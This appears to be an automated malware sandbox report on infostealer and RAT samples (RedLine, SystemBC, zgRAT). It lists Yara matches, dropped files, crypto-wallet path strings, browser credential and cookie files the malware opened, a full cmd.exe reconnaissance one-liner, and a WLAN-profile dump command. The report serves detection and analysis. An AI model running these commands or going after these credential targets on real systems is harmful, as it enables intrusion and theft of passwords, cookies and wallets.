Source: Yara match	File source: 28.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f30ae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.469fc0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.40ab790.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.40ab790.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000000.1954896138.0000000000E32000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2397729767.00000000004F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2397729767.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.1996629606.0000000000FCD000.00000004.00000001.01000000.0000002C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2405960200.000000000409A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.1996629606.0000000000F30000.00000004.00000001.01000000.0000002C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.2006526850.0000000000442000.00000002.00000001.01000000.0000002F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: redline123123.exe PID: 8044, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\redline123123[1].exe, type: DROPPED

Yara detected SystemBC

Source: Yara match	File source: 49.2.jergs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.2.peombdb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.0.peombdb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.0.jergs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000031.00000002.2105482981.0000000000401000.00000020.00000001.01000000.0000003A.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000000.2092244834.0000000000401000.00000020.00000001.01000000.0000003A.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000000.2106860496.0000000000401000.00000020.00000001.01000000.0000003B.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000002.2753516190.0000000000401000.00000020.00000001.01000000.0000003B.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000003.2085711732.0000018E8C626000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\okili\peombdb.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 24.2.upd.exe.f32a9b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.One.exe.128c1a78.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.403dbb.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.4045570.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.4045570.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f30ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.One.exe.128c1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.403dbb.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f30ae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f32a9b.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.One.exe.490000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Roaming\configurationValue\One.exe, type: DROPPED

Detected generic credential text file

Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File created: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\system_info.txt
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File created: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\process_info.txt
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File created: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Browsers\Cookies.txt
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File created: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Browsers\Firefox\History.txt
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File created: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\network_info.txt

Found many strings related to Crypto-Wallets (likely being stolen)

Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aElectrum
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $eq1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aJaxx
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.walletLReq
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\walletsLReq
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aExodus
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $eq%appdata%`,eqdC:\Users\user\AppData\Roaming`,eqdC:\Users\user\AppData\Roaming\Binance
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aEthereum
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $eq&%localappdata%\Coinomi\Coinomi\walletsLReq,
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $eq5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: EllipticCurvePrivateNumbersECPrivateKeyHMACCMACPoly1305X25519PrivateKeyDSAPublicKeyRSAPublicKeyDHPublicNumbersEllipticCurvePublicNumbersX25519PublicKeyDSAPublicNumbersX448PrivateKeyX448PublicKeyAESGCMSIVAESOCB3DSAParametersDHPublicKeyHashServerVerifierDHParametersCertificateRevocationListRSAPrivateNumbersCertificateObjectIdentifierRSAPrivateKeyDSAPrivateKeyPolicyBuilderDSAPrivateNumbersRSAPublicNumbersDHParameterNumbersEd25519PublicKeyOpenSSLErrorSctDHPrivateKey_ReasonsEd448PrivateKeyEd448PublicKeyRevokedCertificateDHPrivateNumbersChaCha20Poly1305AESSIVDSAParameterNumbersEd25519PrivateKeyCertificateSigningRequestECPublicKeyStoreTryFromIntError

Gathers network related connection and port information

Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"

Tries to harvest and steal WLAN passwords

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\pending_pings
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\minidumps
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\c6rta27r.default
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2918063365piupsah.files
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\db
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\d5610d20-4a84-40b4-96b3-9660f248e6a5
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\tmp
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\crashes
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\to-be-removed
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\crashes\events
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\events
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\security_state
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State
